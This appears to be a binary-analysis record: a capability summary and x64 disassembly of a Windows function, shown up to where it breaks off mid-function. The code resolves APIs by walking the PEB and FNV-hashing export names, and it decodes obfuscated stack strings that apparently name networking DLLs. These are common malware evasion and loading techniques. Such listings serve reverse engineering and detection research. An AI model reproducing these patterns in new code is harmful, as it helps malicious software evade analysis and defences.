Function at 0x14000f360
Capabilities:
Access peb ldr_data
Authenticate hmac
Encode data using xor
Get kernel32 base address
Get number of processors
Get process heap flags
Get process heap force flags
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140123218]
xor rax, rsp
mov qword [rbp + 0x10], rax
xor edi, edi
mov r12d, edi
mov r15d, 0x36755451
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14000f587
cmp word [rax + 0x48], di
je 0x14000f587
mov ecx, dword [rax + 0x58]
sub cx, 8
test r12d, r12d
je 0x14000f423
mov r9, qword [rax + 0x60]
movzx ecx, cx
shr rcx, 1
lea rbx, [r9 + rcx*2]
mov r10d, 0x2ec44ef
cmp r9, rbx
je 0x14000f41a
nop dword [rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
add r9, 2
cmp r9, rbx
jne 0x14000f3f0
cmp r10d, r12d
jne 0x14000f587
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r8, rdx
shr r8, 0x20
mov qword [rbp - 0x50], r8
mov r14d, edx
add r14, r11
cmp r14, r11
je 0x14000f587
mov esi, dword [r14 + 0x18]
test esi, esi
je 0x14000f587
mov r9d, dword [r14 + 0x1c]
add r9, r11
mov qword [rbp - 0x38], r9
mov ecx, dword [r14 + 0x24]
add rcx, r11
mov qword [rbp - 0x48], rcx
mov r10d, dword [r14 + 0x20]
nop
dec esi
movzx ecx, word [rcx + rsi*2]
mov ebx, dword [r9 + rcx*4]
add rbx, r11
lea rcx, [r11 + rsi*4]
mov r9d, dword [rcx + r10]
add r9, r11
cmp rbx, r14
jbe 0x14000f49b
lea rcx, [r14 + r8]
cmp rbx, rcx
jae 0x14000f49b
mov r13b, 1
jmp 0x14000f49e
xor r13b, r13b
mov r10d, 0x2ec44ef
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x14000f4db
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x14000f4b0
cmp r10d, r15d
je 0x14000f500
test esi, esi
mov r8, qword [rbp - 0x50]
mov r9, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x48]
mov r10d, dword [r14 + 0x20]
jne 0x14000f470
mov rax, qword [rax]
jmp 0x14000f3b0
test r13b, r13b
je 0x14000f58f
mov r12d, 0x2ec44ef
mov r15d, r12d
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x14000f546
nop word [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r12d
imul r12d, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x14000f520
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x14000f576
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r15d
imul r15d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x14000f550
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14000f3b0
mov al, 0x95
mov dl, 0x8a
mov r8b, 0x87
mov r9b, 0x89
mov r10b, 0x47
movzx r11d, r10b
mov sil, 0x40
mov r14b, 0x8b
mov r15b, 0x84
mov r12b, 0x85
mov r13b, sendto
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov dword [rsp + 0x3b], ecx
movzx ecx, al
movzx eax, cl
and al, r15b
add al, al
sub cl, al
sub cl, 0x18
mov byte [rsp + 0x30], cl
movzx ecx, dl
movzx eax, cl
and al, r12b
add al, al
sub cl, al
sub cl, 0x17
mov byte [rsp + 0x31], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x86
add al, al
sub cl, al
sub cl, 0x16
mov byte [rsp + 0x32], cl
movzx ecx, r9b
movzx eax, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x15
mov byte [rsp + 0x33], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x88
add al, al
sub cl, al
sub cl, 0x14
mov byte [rsp + 0x34], cl
mov ecx, r11d
movzx eax, r11b
and al, r9b
add al, al
sub cl, al
sub cl, 0x13
mov byte [rsp + 0x35], cl
movzx ecx, sil
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, r13b
mov byte [rsp + 0x36], cl
movzx ecx, r14b
movzx eax, cl
and al, r14b
add al, al
sub cl, al
sub cl, 0x11
mov byte [rsp + 0x37], cl
movzx ecx, r15b
movzx eax, cl
and al, 0x8c
add al, al
sub cl, al
sub cl, 0x10
mov byte [rsp + 0x38], cl
movzx ecx, r12b
movzx eax, cl
and al, 0x8d
add al, al
sub cl, al
sub cl, 0xf
mov byte [rsp + 0x39], cl
movzx ecx, r13b
movzx eax, cl
and al, 0x8e
add al, al
sub cl, al
sub cl, 0xe
mov byte [rsp + 0x3a], cl
mov rdx, qword [rbp - 0x50]
movzx ecx, dl
movzx eax, cl
and al, 0x8f
add al, al
sub cl, al
sub cl, 0xd
mov byte [rsp + 0x3b], cl
movzx ecx, byte [rsp + 0x3c]
movzx eax, cl
and al, 0x90
add al, al
sub cl, al
sub cl, 0xc
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 0x91
add al, al
sub cl, al
sub cl, 0xb
mov byte [rsp + 0x3d], cl
movzx ecx, byte [rsp + 0x3e]
movzx eax, cl
and al, 0x92
add al, al
sub cl, al
sub cl, 0xa
mov byte [rsp + 0x3e], cl
movzx ecx, dl
mov eax, ecx
movabs rdx, 0xee6b8cb2166ff093
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x64
mov byte [rsp + 0x3f], cl
lea rcx, [rsp + 0x30]
call rbx
mov al, 0x71
mov dl, 0x76
mov r8b, 0x77
mov r9b, 0x3e
mov r10b, 0x3c
mov r11b, 0x33
mov sil, 0x6c
mov r14b, 0x7b
mov r15b, 0x7a
mov r12b, 0xd
xor r13d, r13d
mov qword [rbp - 0x50], r13
mov qword [rsp + 0x3a], r13
mov word [rsp + 0x42], r13w
movzx ecx, al
movzx eax, cl
and al, 1
add al, al
sub cl, al
sub cl, 6
mov byte [rsp + 0x30], cl
movzx ecx, dl
movzx eax, cl
and al, 2
add al, al
sub cl, al
sub cl, 5
mov byte [rsp + 0x31], cl
movzx ecx, r8b
movzx eax, cl
and al, 3
add al, al
sub cl, al
sub cl, 4
mov byte [rsp + 0x32], cl
movzx ecx, r9b
movzx eax, cl
and al, 4
add al, al
sub cl, al
sub cl, 3
mov byte [rsp + 0x33], cl
movzx ecx, r10b
movzx eax, cl
and al, 5
add al, al
sub cl, al
sub cl, 2
mov byte [rsp + 0x34], cl
movzx ecx, r11b
movzx eax, cl
and al, 6
add al, al
sub cl, al
dec cl
mov byte [rsp + 0x35], cl
movzx ecx, sil
movzx eax, cl
and al, 7
add al, al
sub cl, al
mov byte [rsp + 0x36], cl
movzx ecx, r14b
movzx eax, cl
and al, 8
add al, al
sub cl, al
inc cl
mov byte [rsp + 0x37], cl
movzx edx, r15b
movzx eax, dl
and al, 9
mov r14d, 1
mov ecx, r14d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x38], cl
movzx ecx, r12b
movzx eax, cl
and al, 0xa
add al, al
sub cl, al
add cl, 3
mov byte [rsp + 0x39], cl
movzx edx, r13b
movzx eax, dl
and al, 0xb
mov esi, 2
mov ecx, esi
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3a], cl
movzx ecx, byte [rsp + 0x3b]
movzx eax, cl
and al, 0xc
add al, al
sub cl, al
add cl, 5
mov byte [rsp + 0x3b], cl
movzx edx, byte [rsp + 0x3c]
movzx eax, dl
and al, r12b
mov r15d, 3
mov ecx, r15d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 0xe
add al, al
sub cl, al
add cl, 7
mov byte [rsp + 0x3d], cl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0xf
mov r13d, 4
mov ecx, r13d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 0x10
add al, al
sub cl, al
add cl, 9
mov byte [rsp + 0x3f], cl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 0x11
mov r12d, 5
mov ecx, r12d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x40], cl
movzx ecx, byte [rsp + 0x41]
movzx eax, cl
and al, 0x12
add al, al
sub cl, al
add cl, 0xb
mov byte [rsp + 0x41], cl
mov r8, qword [rbp - 0x50]
movzx edx, r8b
movzx eax, dl
and al, 0x13
mov ecx, 6
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x42], cl
movzx ecx, byte [rsp + 0x43]
movzx eax, cl
and al, 0x14
add al, al
sub cl, al
add cl, 0xd
mov byte [rsp + 0x43], cl
movzx ecx, r8b
mov eax, ecx
movabs rdx, 0xf9786bc7708e0c15
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 7
mov byte [rsp + 0x44], cl
lea rcx, [rsp + 0x30]
call rbx
mov al, 0xc5
mov dl, 0x3d
mov r8b, 0x2e
mov r9b, 0xc0
mov r10b, 0x32
mov r11b, 0x46
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov dword [rsp + 0x3d], ecx
movzx ecx, al
movzx eax, cl
and al, 0x3b
add al, al
sub cl, al
sub cl, 0x62
mov byte [rsp + 0x30], cl
movzx ecx, dl
movzx eax, cl
and al, 0x3c
add al, al
sub cl, al
sub cl, 0x61
mov byte [rsp + 0x31], cl
movzx ecx, r8b
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x60
mov byte [rsp + 0x32], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x3e
add al, al
sub cl, al
sub cl, 0x5f
mov byte [rsp + 0x33], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x3f
add al, al
sub cl, al
sub cl, 0x5e
mov byte [rsp + 0x34], cl
movzx ecx, r11b
movzx eax, cl
and al, 0x40
add al, al
sub cl, al
sub cl, 0x5d
mov byte [rsp + 0x35], cl
mov al, 0x91
movzx ecx, al
movzx eax, cl
and al, 0x41
add al, al
sub cl, al
sub cl, 0x5c
mov byte [rsp + 0x36], cl
mov al, 0x8d
movzx ecx, al
movzx eax, cl
and al, 0x42
add al, al
sub cl, al
sub cl, 0x5b
mov byte [rsp + 0x37], cl
mov al, 0x88
movzx ecx, al
movzx eax, cl
and al, 0x43
add al, al
sub cl, al
sub cl, 0x5a
mov byte [rsp + 0x38], cl
mov al, 0x45
movzx ecx, al
movzx eax, cl
and al, 0x44
add al, al
sub cl, al
sub cl, 0x59
mov byte [rsp + 0x39], cl
mov al, 0x4c
movzx ecx, al
movzx eax, cl
and al, 0x45
add al, al
sub cl, al
sub cl, 0x58
mov byte [rsp + 0x3a], cl
mov al, 0x4f
movzx ecx, al
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x57
mov byte [rsp + 0x3b], cl
mov al, 0xda
movzx ecx, al
movzx eax, cl
and al, 0x47
add al, al
sub cl, al
sub cl, 0x56
mov byte [rsp + 0x3c], cl
mov rdx, qword [rbp - 0x50]
movzx ecx, dl
movzx eax, cl
and al, 0x48
add al, al
sub cl, al
sub cl, 0x55
mov byte [rsp + 0x3d], cl
movzx ecx, byte [rsp + 0x3e]
movzx eax, cl
and al, 0x49
add al, al
sub cl, al
sub cl, 0x54
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 0x4a
add al, al
sub cl, al
sub cl, 0x53
mov byte [rsp + 0x3f], cl
movzx ecx, byte [rsp + 0x40]
movzx eax, cl
and al, 0x4b
add al, al
sub cl, al
sub cl, 0x52
mov byte [rsp + 0x40], cl
movzx ecx, dl
mov eax, ecx
movabs rdx, 0x804bef70a770df4c
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x63
mov byte [rsp + 0x41], cl
lea rcx, [rsp + 0x30]
call rbx
mov al, 0x7b
mov dl, 0x6d
mov r8b, 0x70
mov r9b, 0x7a
movzx r10d, dl
mov r11b, 0x71
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rsp + 0x3c], rcx
mov dword [rsp + 0x44], ecx
movzx ecx, al
movzx eax, cl
and al, 0x81
add al, al
sub cl, al
sub cl, 6
mov byte [rsp + 0x30], cl
movzx ecx, dl
movzx eax, cl
and al, 0x82
add al, al
sub cl, al
sub cl, r12b
mov byte [rsp + 0x31], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x83
add al, al
sub cl, al
sub cl, r13b
mov byte [rsp + 0x32], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x84
add al, al
sub cl, al
sub cl, r15b
mov byte [rsp + 0x33], cl
mov ecx, r10d
movzx eax, r10b
and al, 0x85
add al, al
sub cl, al
sub cl, sil
mov byte [rsp + 0x34], cl
movzx ecx, r11b
movzx eax, cl
and al, 0x86
add al, al
sub cl, al
dec cl
mov byte [rsp + 0x35], cl
mov al, 0x77
movzx ecx, al
movzx eax, cl
and al, 0x87
add al, al
sub cl, al
mov byte [rsp + 0x36], cl
mov al, 0x3d
movzx ecx, al
movzx eax, cl
and al, 0x88
add al, al
sub cl, al
inc cl
mov byte [rsp + 0x37], cl
mov al, 0x62
movzx edx, al
movzx eax, dl
and al, 0x89
mov ecx, r14d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x38], cl
mov al, 0x79
movzx ecx, al
movzx eax, cl
and al, 0x8a
add al, al
sub cl, al
add cl, r15b
mov byte [rsp + 0x39], cl
mov al, 0x78
movzx edx, al
movzx eax, dl
and al, 0x8b
mov ecx, esi
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3a], cl
mov al, 0xb
movzx ecx, al
movzx eax, cl
and al, 0x8c
add al, al
sub cl, al
add cl, r12b
mov byte [rsp + 0x3b], cl
mov r8, qword [rbp - 0x50]
movzx edx, r8b
movzx eax, dl
and al, 0x8d
mov ecx, r15d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 0x8e
add al, al
sub cl, al
add cl, 7
mov byte [rsp + 0x3d], cl
movzx edx, byte [rsp + 0x3e]
movzx eax, dl
and al, 0x8f
mov ecx, r13d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 0x90
add al, al
sub cl, al
add cl, 9
mov byte [rsp + 0x3f], cl
movzx edx, byte [rsp + 0x40]
movzx eax, dl
and al, 0x91
mov ecx, r12d
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x40], cl
movzx ecx, byte [rsp + 0x41]
movzx eax, cl
and al, 0x92
add al, al
sub cl, al
add cl, 0xb
mov byte [rsp + 0x41], cl
movzx edx, byte [rsp + 0x42]
movzx eax, dl
and al, 0x93
mov ecx, 6
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x42], cl
movzx ecx, byte [rsp + 0x43]
movzx eax, cl
and al, 0x94
add al, al
sub cl, al
add cl, 0xd
mov byte [rsp + 0x43], cl
movzx edx, r8b
movzx eax, dl
and al, 0x95
mov ecx, 7
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x44], cl
movzx ecx, byte [rsp + 0x45]
movzx eax, cl
and al, 0x96
add al, al
sub cl, al
add cl, 0xf
mov byte [rsp + 0x45], cl
movzx edx, byte [rsp + 0x46]
movzx eax, dl
and al, 0x97
mov ecx, 8
sub cl, al
add cl, cl
add cl, dl
mov byte [rsp + 0x46], cl
movzx ecx, byte [rsp + 0x47]
mov eax, ecx
movabs rdx, 0x1ddb32e7fc4eef98
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0x79
mov byte [rsp + 0x47], cl
lea rcx, [rsp + 0x30]
call rbx
mov dword [rsp + 0x30], 0xcfc7c9f3
mov dword [rsp + 0x34], 0x93436c8
mov dword [rsp + 0x38], 0x6bc6c5cc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x3c], xmm0
mov dword [rsp + 0x4c], eax
mov r9, rdi
movabs r10, 0xa410c0c7bda95df
lea rax, [rsp + 0x31]
sub r10, rax
lea r11d, [r14 + 0x10]
lea r13d, [r14 + 0x11]
mov r14d, reloc.WS2_32.dll_setsockopt
mov dword [rbp - 0x48], r14d
lea esi, [r15 + 0x10]
movabs rdi, 0xa410c0c7bda95df
lea r15d, [r12 + 0x11]
lea r12d, [r11 + 6]
nop dword [rax]
nop word [rax + rax]
lea r8, [rsp + 0x31]
add r8, r9
lea eax, [r9 - 0x30]
and al, byte [r8 - 1]
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, byte [r8 - 1]
add cl, r9b
mov byte [r8 - 1], cl
movzx ecx, byte [r8]
lea eax, [r9 - 0x2f]
and al, cl
add al, al
sub cl, al
add cl, 0x21
add cl, r9b
mov byte [r8], cl
lea eax, [r9 - 0x2e]
and al, byte [r8 + 1]
mov ecx, r11d
sub cl, al
add cl, cl
add cl, byte [r8 + 1]
add cl, r9b
mov byte [r8 + 1], cl
movzx ecx, byte [r8 + 2]
lea eax, [r9 - 0x2d]
and al, cl
add al, al
sub cl, al
add cl, 0x23
add cl, r9b
mov byte [r8 + 2], cl
lea eax, [r9 - 0x2c]
and al, byte [r8 + 3]
mov ecx, r13d
sub cl, al
add cl, cl
add cl, byte [r8 + 3]
add cl, r9b
mov byte [r8 + 3], cl
movzx ecx, byte [r8 + 4]
lea eax, [r9 - 0x2b]
and al, cl
add al, al
sub cl, al
add cl, 0x25
add cl, r9b
mov byte [r8 + 4], cl
lea eax, [r9 - 0x2a]
and al, byte [r8 + 5]
mov ecx, esi
sub cl, al
add cl, cl
add cl, byte [r8 + 5]
add cl, r9b
mov byte [r8 + 5], cl
movzx ecx, byte [r8 + 6]
lea eax, [r9 - 0x29]
and al, cl
add al, al
sub cl, al
add cl, 0x27
add cl, r9b
mov byte [r8 + 6], cl
lea eax, [r9 - 0x28]
and al, byte [r8 + 7]
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, byte [r8 + 7]
add cl, r9b
mov byte [r8 + 7], cl
movzx ecx, byte [r8 + 8]
lea eax, [r9 - 0x27]
and al, cl
add al, al
sub cl, al
add cl, 0x29
add cl, r9b
mov byte [r8 + 8], cl
lea eax, [r9 - 0x26]
and al, byte [r8 + 9]
mov ecx, r14d
sub cl, al
add cl, cl
add cl, byte [r8 + 9]
add cl, r9b
mov byte [r8 + 9], cl
movzx ecx, byte [r8 + 0xa]
lea eax, [r9 - 0x25]
and al, cl
add al, al
sub cl, al
add cl, 0x2b
add cl, r9b
mov byte [r8 + 0xa], cl
lea eax, [r9 - 0x24]
and al, byte [r8 + 0xb]
mov ecx, r15d
sub cl, al
add cl, cl
add cl, byte [r8 + 0xb]
add cl, r9b
mov byte [r8 + 0xb], cl
movzx ecx, byte [r8 + 0xc]
lea eax, [r9 - 0x23]
and al, cl
add al, al
sub cl, al
add cl, 0x2d
add cl, r9b
mov byte [r8 + 0xc], cl
lea eax, [r9 - 0x22]
and al, byte [r8 + 0xd]
mov ecx, r12d
sub cl, al
add cl, cl
add cl, byte [r8 + 0xd]
add cl, r9b
mov byte [r8 + 0xd], cl
movzx edx, byte [r8 + 0xe]
lea rax, [r8 + r10]
and rax, rdx
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, rdi
add rcx, r9
add cl, 0x50
mov byte [r8 + 0xe], cl
add r9, 0x10
cmp r9, 0x20
jb 0x14000fd80
lea rcx, [rsp + 0x30]
call rbx
mov al, 0xb7
mov dl, 0xb2
mov r8b, 0xf4
mov r9b, 0x88
mov r10b, 0xf7
movzx r11d, r10b
mov sil, 0xc4
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rsp + 0x3b], rcx
mov word [rsp + 0x43], cx
movzx ecx, al
movzx eax, cl
and al, 0xda
add al, al
sub cl, al
sub cl, 0x1c
mov byte [rsp + 0x30], cl
movzx ecx, dl
movzx eax, cl
and al, 0xdb
add al, al
sub cl, al
sub cl, 0x1b
mov byte [rsp + 0x31], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xdc
add al, al
sub cl, al
sub cl, 0x1a
mov byte [rsp + 0x32], cl
movzx ecx, r9b
movzx eax, cl
and al, 0xdd
add al, al
sub cl, al
sub cl, 0x19
mov byte [rsp + 0x33], cl
movzx ecx, r10b
movzx eax, cl
and al, 0xde
add al, al
sub cl, al
sub cl, 0x18
mov byte [rsp + 0x34], cl
mov ecx, r11d
movzx eax, r11b
and al, 0xdf
add al, al
sub cl, al
sub cl, r12b
mov byte [rsp + 0x35], cl
movzx ecx, sil
movzx eax, cl
and al, 0xe0
add al, al
sub cl, al
sub cl, r15b
mov byte [rsp + 0x36], cl
mov al, 0xbb
movzx ecx, al
movzx eax, cl
and al, 0xe1
add al, al
sub cl, al
sub cl, r14b
mov byte [rsp + 0x37], cl
mov al, 0x80
movzx ecx, al
movzx eax, cl
and al, 0xe2
add al, al
sub cl, al
sub cl, 0x14
mov byte [rsp + 0x38], cl
mov al, 0x81
movzx ecx, al
movzx eax, cl
and al, 0xe3
add al, al
sub cl, al
sub cl, 0x13
mov byte [rsp + 0x39], cl
movzx eax, r13b
mov ecx, eax
and al, 0xe4
add al, al
sub cl, al
sub cl, r13b
mov byte [rsp + 0x3a], cl
mov rdx, qword [rbp - 0x50]
movzx ecx, dl
movzx eax, cl
and al, 0xe5
add al, al
sub cl, al
sub cl, 0x11
mov byte [rsp + 0x3b], cl
movzx ecx, byte [rsp + 0x3c]
movzx eax, cl
and al, 0xe6
add al, al
sub cl, al
sub cl, 0x10
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 0xe7
add al, al
sub cl, al
sub cl, 0xf
mov byte [rsp + 0x3d], cl
movzx ecx, byte [rsp + 0x3e]
movzx eax, cl
and al, 0xe8
add al, al
sub cl, al
sub cl, 0xe
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 0xe9
add al, al
sub cl, al
sub cl, 0xd
mov byte [rsp + 0x3f], cl
movzx ecx, byte [rsp + 0x40]
movzx eax, cl
and al, 0xea
add al, al
sub cl, al
sub cl, 0xc
mov byte [rsp + 0x40], cl
movzx ecx, byte [rsp + 0x41]
movzx eax, cl
and al, 0xeb
add al, al
sub cl, al
sub cl, 0xb
mov byte [rsp + 0x41], cl
movzx ecx, byte [rsp + 0x42]
movzx eax, cl
and al, 0xec
add al, al
sub cl, al
sub cl, 0xa
mov byte [rsp + 0x42], cl
movzx ecx, dl
movzx eax, cl
and al, 0xed
add al, al
sub cl, al
sub cl, 9
mov byte [rsp + 0x43], cl
movzx ecx, byte [rsp + 0x44]
movzx eax, cl
and al, 0xee
add al, al
sub cl, al
sub cl, 8
mov byte [rsp + 0x44], cl
movzx ecx, dl
mov eax, ecx
movabs rdx, 0x26687189abf3cbef
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
add cl, 0xa
mov byte [rsp + 0x45], cl
lea rcx, [rsp + 0x30]
call rbx
mov al, 0xe8
mov dl, 0x9a
mov r8b, 0xe6
mov r9b, 0x8a
mov r10b, 0x92
mov r11b, 0xe5
mov sil, 0xda
xorps xmm0, xmm0
movups xmmword [rsp + 0x39], xmm0
movzx ecx, al
movzx eax, cl
and al, 0x36
add al, al
sub cl, al
sub cl, 0x44
mov byte [rsp + 0x30], cl
movzx ecx, dl
movzx eax, cl
and al, 0x37
add al, al
sub cl, al
sub cl, 0x43
mov byte [rsp + 0x31], cl
movzx ecx, r8b
movzx eax, cl
and al, 0x38
add al, al
sub cl, al
sub cl, 0x42
mov byte [rsp + 0x32], cl
movzx ecx, r9b
movzx eax, cl
and al, 0x39
add al, al
sub cl, al
sub cl, 0x41
mov byte [rsp + 0x33], cl
movzx ecx, r10b
movzx eax, cl
and al, 0x3a
add al, al
sub cl, al
sub cl, 0x40
mov byte [rsp + 0x34], cl
movzx ecx, r11b
movzx eax, cl
and al, 0x3b
add al, al
sub cl, al
sub cl, 0x3f
mov byte [rsp + 0x35], cl
movzx ecx, sil
movzx eax, cl
and al, 0x3c
add al, al
sub cl, al
sub cl, 0x3e
mov byte [rsp + 0x36], cl
mov al, 0xdb
movzx ecx, al
movzx eax, cl
and al, 0x3d
add al, al
sub cl, al
sub cl, 0x3d
mov byte [rsp + 0x37], cl
mov al, 0x44
movzx ecx, al
movzx eax, cl
and al, 0x3e
add al, al
sub cl, al
sub cl, 0x3c
mov byte [rsp + 0x38], cl
movd eax, xmm0
movzx ecx, al
movzx eax, cl
and al, 0x3f
add al, al
sub cl, al
sub cl, 0x3b
mov byte [rsp + 0x39], cl
movzx ecx, byte [rsp + 0x3a]
movzx eax, cl
and al, 0x40
add al, al
sub cl, al
sub cl, 0x3a
mov byte [rsp + 0x3a], cl
movzx ecx, byte [rsp + 0x3b]
movzx eax, cl
and al, 0x41
add al, al
sub cl, al
sub cl, 0x39
mov byte [rsp + 0x3b], cl
movzx ecx, byte [rsp + 0x3c]
movzx eax, cl
and al, 0x42
add al, al
sub cl, al
sub cl, 0x38
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 0x43
add al, al
sub cl, al
sub cl, 0x37
mov byte [rsp + 0x3d], cl
movzx ecx, byte [rsp + 0x3e]
movzx eax, cl
and al, 0x44
add al, al
sub cl, al
sub cl, 0x36
mov byte [rsp + 0x3e], cl
movzx ecx, byte [rsp + 0x3f]
movzx eax, cl
and al, 0x45
add al, al
sub cl, al
sub cl, 0x35
mov byte [rsp + 0x3f], cl
movzx ecx, byte [rsp + 0x40]
movzx eax, cl
and al, 0x46
add al, al
sub cl, al
sub cl, 0x34
mov byte [rsp + 0x40], cl
movzx ecx, byte [rsp + 0x41]
movzx eax, cl
and al, 0x47
add al, al
sub cl, al
sub cl, 0x33
mov byte [rsp + 0x41], cl
movzx ecx, byte [rsp + 0x42]
movzx eax, cl
and al, 0x48
add al, al
sub cl, al
sub cl, 0x32
mov byte [rsp + 0x42], cl
movzx ecx, byte [rsp + 0x43]
movzx eax, cl
and al, 0x49
add al, al
sub cl, al
sub cl, 0x31
mov byte [rsp + 0x43], cl
movzx ecx, byte [rsp + 0x44]
movzx eax, cl
and al, 0x4a
add al, al
sub cl, al
sub cl, 0x30
mov byte [rsp + 0x44], cl
movzx ecx, byte [rsp + 0x45]
movzx eax, cl
and al, 0x4b
add al, al
sub cl, al
sub cl, 0x2f
mov byte [rsp + 0x45], cl
movzx ecx, byte [rsp + 0x46]
movzx eax, cl
and al, 0x4c
add al, al
sub cl, al
sub cl, 0x2e
mov byte [rsp + 0x46], cl
movzx ecx, byte [rsp + 0x47]
movzx eax, cl
and al, 0x4d
add al, al
sub cl, al
sub cl, 0x2d
mov byte [rsp + 0x47], cl
movzx ecx, byte [rsp + 0x48]
mov eax, ecx
movabs rdx, 0xcd32cadec569cd4e
and rax, rdx
imul rax, rax, 0xfffffffffffffffe
add rax, rdx
add rcx, rax
sub cl, 0x7a
mov byte [rsp + 0x48], cl
lea rcx, [rsp + 0x30]
call rbx
mov dword [rsp + 0x30], 0x140d1d32
mov dword [rsp + 0x34], 0x13142d58
mov byte [rsp + 0x38], 0x8e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x39], xmm0
mov dword [rsp + 0x49], eax
mov word [rsp + 0x4d], ax
xor edi, edi
mov r9d, edi
movabs r11, 0x32cab24889ace3ed
mov r10, r11
lea rax, [rsp + 0x30]
sub r10, rax
lea esi, [rdi + 2]
nop word [rax + rax]
lea r8, [rsp + 0x30]
add r8, r9
movzx edx, byte [r8]
lea rax, [r10 + r8]
and rax, rdx
imul rcx, rax, 0xfffffffffffffffe
add rcx, rdx
add rcx, r11
add rcx, r9
sub cl, 0x7b
mov byte [r8], cl
inc r9
cmp r9, 0x1f
jb 0x1400103c0
lea rcx, [rsp + 0x30]
call rbx
mov al, 0xed
mov dl, 0xe9
mov r8b, 0x88
mov r9b, 0xe2
mov r10b, 0x90
mov r11b, 0x98
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rsp + 0x3d], rcx
mov word [rsp + 0x45], cx
movzx ecx, al
movzx eax, cl
and al, 0xd6
add al, al
sub cl, al
sub cl, 4
mov byte [rsp + 0x30], cl
movzx ecx, dl
movzx eax, cl
and al, 0xd7
add al, al
sub cl, al
sub cl, 3
mov byte [rsp + 0x31], cl
movzx ecx, r8b
movzx eax, cl
and al, 0xd8
add al, al
